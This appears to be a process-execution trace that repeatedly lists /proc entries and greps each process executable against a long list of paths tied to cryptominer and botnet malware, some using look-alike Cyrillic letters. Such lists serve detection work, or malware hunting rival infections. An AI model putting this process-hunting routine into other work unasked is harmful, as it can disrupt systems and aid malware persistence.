[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/407]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/433]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/434]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/435]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/436]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/437]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/438]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/446]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/451]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/461]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/472]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/473]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/474]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/477]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/5]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/514]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/515]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/522]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/539]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/548]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/571]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/598]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/599]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/6]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/644]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/645]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/647]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/660]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/672]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/676]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/684]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/7]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/760]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/774]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/78]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/79]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/8]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/80]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/81]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/82]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/83]

/bin/grep

